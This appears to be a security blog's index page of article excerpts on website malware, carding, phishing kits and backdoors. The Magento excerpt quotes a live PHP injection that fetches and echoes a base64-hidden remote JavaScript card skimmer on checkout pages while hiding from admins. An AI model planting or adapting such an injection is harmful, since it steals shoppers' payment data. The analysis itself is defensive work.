Black Hat Tactics

WordPress Continues to Fall Victim to Carding Attacks

Unsurprisingly, as WordPress continues to increase in popularity as an e-commerce platform, attackers continue to attempt to steal credit card information from unsuspecting clients. Currently, the WordPress plugin WooCommerce accounts for roughly a quarter of all online stores. Over recent years, attackers whose goal it is to fradulently obtain credit card information have mostly focused on e-commerce specific platforms such as Magento, PrestaShop and OpenCart (knowing

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PHP Repository Exploited by Hackers

The official PHP git repository, http://git.php.net/, was compromised this Sunday, March 28. An attacker was able to modify the PHP source code twice and inject a backdoor into it. Thankfully, both attempts were quickly detected and removed by the PHP team. Per a statement released in PHP’s internal mailing list, the current investigation believes the

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How Do Websites Get Hacked?

As much as the web has grown, surprisingly not a lot has changed in how websites get hacked. The most important thing you can do in keeping the web – and your own sites and visitors – safe is to understand these unchanging truths and hold them close to heart. Consider the Scale of Hacked

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Trojan Spyware and BEC Attacks

When it comes to an organization’s security, business email compromise (BEC) attacks are a big problem. One primary reason impacts are so significant is that attacks often use a human victim to authorize a fraudulent transaction to bypass existing security controls that would normally be used to prevent fraud. Another reason is that social engineering

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SQL Triggers in Website Backdoors

Over the past year, there’s been an increasing trend of WordPress malware using SQL triggers to hide malicious SQL queries within compromised databases. These queries inject an admin level user into the infected database whenever the trigger condition is met. What makes this especially problematic for website owners is that most malware cleanup guides focus

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UCEPROTECT: When RBLs Go Bad

Realtime Blackhole Lists (RBLs) can be a great tool in your security arsenal. You may not know you’re using them, but all email providers and company email servers leverage these services to verify whether servers and IP addresses are sending spam or other abusive content against a known list of offenders. These services use a

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Whitespace Steganography Conceals Web Shell in PHP Malware

Last November, we wrote about how attackers are using JavaScript injections to load malicious code from legitimate CSS files. At first glance, these injections didn’t appear to contain anything except for some benign CSS rules. A more thorough analysis of the .CSS file revealed 56,964 seemingly empty lines containing combinations of invisible tab (0x09), space

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Phishing & Malspam with Leaf PHPMailer

It’s common knowledge that attackers often use email as a delivery mechanism for their malicious activity — which can range from enticing victims to click a phishing URL or download a malicious attachment. To support these activities, attackers seek out tools that assist in the mass sending of malspam (malicious spam) emails from a compromised

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Magento PHP Injection Loads JavaScript Skimmer

A Magento website owner was concerned about malware and reached out to our team for assistance. Upon investigation, we found the website contained a PHP injection in one of the Magento files: ./app/code/core/Mage/Payment/Model/Method/Cc.php … if ($_SERVER[“REQUEST_METHOD”] === “GET”){ if (strpos($_SERVER[“REQUEST_URI”], “/onestepcheckout/index/”) !== false){ if(!isset($_COOKIE[“adminhtml”])){ echo file_get_contents(base64_decode(“aHR0cHM6Ly91bmRlcnNjb3JlZndbLl1jb20vc3JjL2tyZWEuanM=”)); } } } To make it more

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Real-Time Phishing Kit Targets Brazilian Central Bank

We recently found an interesting phishing kit on a compromised website that has QR code capabilities, along with the ability to control the phishing page in real time. What our investigation revealed was that attackers were leveraging PIX, a new payment method created by the Brazilian Central Bank. Features & Context for PIX PIX was

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